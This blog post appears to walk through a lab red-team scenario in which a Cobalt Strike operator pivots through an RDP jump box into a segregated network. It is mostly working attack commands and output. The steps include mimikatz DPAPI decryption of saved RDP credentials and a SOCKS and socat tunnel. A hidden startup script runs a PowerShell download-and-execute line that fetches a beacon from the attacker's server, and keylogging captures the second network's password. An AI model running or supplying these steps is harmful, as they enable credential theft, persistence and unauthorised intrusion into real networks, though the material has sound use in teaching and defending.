This short post demonstrates how it may be possible to pivot into a segregated/protected network, via an RDP Jump Box.
This is the network topology I’ve built for the scenario:
A brief description:
rasta-lan.local
and secret-lan.local
.10.0.0.0/16
; SECRET is on 172.16.0.0/24
.The aim of the scenario is for the attacker to open Remote Desktop Connection on their attacking machine (Windows 10) and RDP directly onto the ‘Mission Objective’ server in the Secret Network.
We have a beacon as a user called rasta_mouse
, who is only a member of Domain Users
. Query the target server to discovery which users/groups are granted RDP access.
beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
ComputerName : RDP01
AccountName : rasta-lan.local/Jump Box Users
IsDomain : True
IsGroup : True
SID : S-1-5-21-2294392343-2072776990-791666979-1106
Who is a member of Jump Box Users
?
beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
GroupDomain : rasta-lan.local
GroupName : Jump Box Users
MemberDomain : rasta-lan.local
MemberName : rasta_mouse_adm
MemberSID : S-1-5-21-2294392343-2072776990-791666979-1107
IsGroup : False
MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local
So rasta_mouse
has two separate accounts, which means we need the credentials of rasta_mouse_adm
to proceed. I’ll explore two possible methods here.
If the user has elected to save the RDP credentials, this is the most fun and elegent way if you have the necessary SeDebugPrivilege
to carry it out.
This is how Windows Credentials look in the Credential Manager GUI.
You can query the same on the command line.
beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/rdp01
Identity: LAN\rasta_mouse_adm
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)
These credentials are stored within the users directory, C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
.
beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 02/09/2017 13:37 412 2647629F5AA74CD934ECD2F88D64ECD0
-a-hs- 30/08/2017 19:28 11204 DFBE70A7E5CC19A398EBF1B96859CE5D
Now let’s look at C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
.
beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : be072ec0f54a6ceaffd09fe2275d72f9
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : a3579f9e295013432807757d3bcdf82e
dwDataLen : 000000d8 - 216
pbData : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb
dwSignLen : 00000014 - 20
pbSign : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52
The noteworthy fields here are pbData
and guidMasterKey
- a simplistic way to look at it, is that pbData
is the data we want to decrypt and guidMasterKey
is the key needed to do so.
There’s a good chance LSASS
already has this key within its cache - so with SeDebugPrivilege
we can elevate and obtain.
beacon> mimikatz !sekurlsa::dpapi
Within all this output, we find the GUID and associated MasterKey
we were hoping for.
[00000000]
* GUID : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
* Time : 02/09/2017 13:37:51
* MasterKey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
* sha1(key) : 89f35906909d78c84ba64af38a2bd0d1d96a0726
If we were running mimikatz in interactive mode, it would automatically add these keys to our dpapi cache and use them when we try to decrypt the credentials. But running mimikatz through Cobalt Strike doesn’t allow us to retain the same session (at least if you can, I don’t know how), so we must take the key and use it manually.
beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
Decrypting Credential:
* masterkey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000d2 - 210
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 02/09/2017 12:37:44
unkFlagsOrSize : 00000030 - 48
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/rdp01
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : LAN\rasta_mouse_adm
CredentialBlob : Sup3rAw3s0m3Passw0rd! <--- BOOM!
Attributes : 0
Let’s use these credentials to RDP into the jump box - remember the aim is to do this directly from our attacking machine. So, let’s first setup a SOCKS Proxy on our current Beacon.
beacon> socks 1337
[+] started SOCKS4a server on: 1337
socat
& proxychains
if they’re not already.proxychains.conf
to use 127.0.0.1
on port 1337
.socat
with proxychains
-> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389
.This will allow our Teamserver to listen on 3389
, any traffic hitting that port will be redirected down the socks proxy to 10.0.0.100
on port 3389
.
Remember that there’s no authentication on Beacon’s SOCKS proxy - so ensure the firewall rules on your Teamserver are sufficient as to not open this up to the whole Internet.
Now we RDP to our Teamserver’s IP address, and we should land on that jump box…
Now that we have access to this server, let’s set up a persistence element so that when the “real” rasta_mouse_adm
connects, we can get an SMB Beacon back.
Here’s a very simplistic example:
/smb
.Reverse Port Foward
on our current beacon -> rportfwd 8080 178.62.56.134 80
C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat
with the following content:powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
If you can elevate on this server and run/migrate into a SYSTEM process, you won’t have to rely on maintaining an RDP session to run Beacon.
When the genuine user logs in, we’ll see a hit in our weblog.
09/02 14:19:45 visit from: 178.62.56.134
Request: GET /smb
page Serves /opt/cobaltstrike/uploads/beacon.ps1
null
So, let’s link
to the beacon.
beacon> link 10.0.0.100
[+] established link to child beacon: 10.0.0.100
Note: if the user log’s off, we lose our Beacon; if they only disconnect, it stays alive.
Now we’re on the jump box, we need to know how to get into SECRET
.
You can actually keylog everything you need, so let’s have a look at that.
beacon> keylogger 1816 x64
Start menu
=======
remo
Remote Desktop Connection
=======
172.16.0.10
Windows Security
=======
SECRET\rasta_mouse[tab]Passw0rd!
proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389
As before, RDP to the Teamsever IP and we’ll land directly inside SECRET
.